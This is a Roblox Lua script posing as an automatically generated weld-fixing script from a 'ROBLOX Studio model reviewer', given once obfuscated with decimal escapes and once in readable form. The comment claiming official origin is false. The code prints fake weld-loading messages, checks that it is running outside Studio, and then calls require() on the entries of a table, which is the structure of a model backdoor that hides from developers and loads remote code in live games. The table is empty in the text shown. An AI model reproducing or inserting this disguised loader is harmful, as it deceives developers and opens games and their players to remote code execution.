local G="\119\111\114\107\115\112\097\099\101"players="\103\101\116\080\108\097\121\101\114\115"welds="\071\101\116\077\111\100\101\108\115\068\097\116\097"for G=1,10,1 do print("\065\100\100\105\110\103 \119\101\108\100\115 \116\111 \112\114\101\118\101\110\116 \109\111\100\101\108 \098\114\101\097\107\105\110\103")end local z={}print("\070\105\110\105\115\104\101\100 \076\111\097\100\105\110\103 \087\101\108\100\115\044 \077\111\118\105\110\103 \111\110\116\111 \070\105\120\105\110\103")for G=1,10,1 do print("\103\101\116\087\101\108\100\115\068\097\116\097")end if not(game:GetService("\082\117\110\083\101\114\118\105\099\101")):IsStudio()then for G,z in pairs(z)do welder=require welder(z)end end
--This is an automatic script that has been generated by the ROBLOX Studio model reviewer.
--Removing this script or the code bellow will result in models breaking.
local localworkspace = "workspace"
players = "getPlayers"
welds = "GetModelsData"
for i = 1, 10 do
	print("Adding welds to prevent model breaking")
end
local limitAmountOfWeldsToAdd = {}
print("Finished Loading Welds, Moving onto Fixing")
for i = 1, 10 do
	print("getWeldsData")
end
if not game:GetService("RunService"):IsStudio() then
	for weldObject, weldConstraint in pairs(limitAmountOfWeldsToAdd) do
		welder = require
		welder(weldConstraint)
	end
end
